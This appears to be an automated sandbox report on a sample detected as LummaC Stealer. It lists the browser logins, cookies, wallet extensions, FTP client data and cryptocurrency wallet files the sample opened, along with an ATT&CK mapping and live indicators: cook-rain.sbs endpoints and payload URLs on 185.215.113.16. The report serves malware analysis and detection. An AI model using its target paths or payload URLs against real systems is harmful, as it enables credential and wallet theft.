Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4148, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 4148, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://cook-rain.sbs/apip;	100%	Avira URL Cloud	malware
https://cook-rain.sbs/5	100%	Avira URL Cloud	malware
https://cook-rain.sbs/Ye	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeH	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/apiDef	100%	Avira URL Cloud	malware
https://cook-rain.sbs/nt	100%	Avira URL Cloud	malware
https://cook-rain.sbs/Za	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apigs	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeH	20%	Virustotal		Browse
https://cook-rain.sbs/A4ghIs	100%	Avira URL Cloud	malware
https://cook-rain.sbs/hE	100%	Avira URL Cloud	malware
https://cook-rain.sbs/SY	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0014.t-0009.t-msedge.net	13.107.246.42	true	false	high
cook-rain.sbs	188.114.97.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	216.58.206.68	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
241.42.69.40.in-addr.arpa	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_107.7.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_107.7.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_107.7.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210418415.000000000170C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/5	file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_99.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_107.7.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_107.7.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_107.7.dr, chromecache_71.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://github.com/gewarren	chromecache_107.7.dr	false		high
https://cook-rain.sbs/Ye	file.exe, 00000000.00000003.2214867043.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214810708.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214676289.00000000016F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2194580369.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://www.mozilla.or	file.exe, 00000000.00000003.2194379033.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apip;	file.exe, 00000000.00000003.2230229939.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.000000000169A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_107.7.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_107.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeH	file.exe, 00000000.00000003.2654414817.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2716193364.00000000016B5000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://github.com/Thraka	chromecache_107.7.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210418415.000000000170C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apiDef	file.exe, 00000000.00000003.2230229939.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558148133.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242851773.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242331464.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234352371.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210418415.000000000170C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://aka.ms/certhelp	chromecache_88.7.dr, chromecache_99.7.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, file.exe, 00000000.00000003.2654414817.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2716193364.00000000016B5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_107.7.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_99.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://cook-rain.sbs/nt	file.exe, 00000000.00000003.2211511909.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210656879.0000000005C69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2194580369.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/Za	file.exe, 00000000.00000003.2214867043.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214810708.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214676289.00000000016F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210418415.000000000170C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_107.7.dr	false		high
https://cook-rain.sbs/apigs	file.exe, 00000000.00000003.2654414817.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2716193364.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2230229939.00000000016DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/A4ghIs	file.exe, 00000000.00000003.2211511909.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210656879.0000000005C69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/nschonni	chromecache_107.7.dr	false		high
https://cook-rain.sbs/hE	file.exe, 00000000.00000003.2214867043.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214810708.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214676289.00000000016F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://github.com/adegeo	chromecache_107.7.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2230175038.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229968361.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234295049.00000000016FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558245590.000000000170B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558148133.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242851773.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242331464.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234352371.0000000001704000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000003.2230175038.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229968361.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234295049.00000000016FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558245590.000000000170B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558148133.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242851773.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242331464.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234352371.0000000001704000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_88.7.dr, chromecache_99.7.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.2654414817.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2715373086.00000000012FA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000002.2716193364.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2654414817.000000000169A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_107.7.dr	false		high
https://cook-rain.sbs/SY	file.exe, 00000000.00000003.2214867043.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214810708.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214676289.00000000016F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://channel9.msdn.com/	chromecache_88.7.dr, chromecache_99.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	false		high
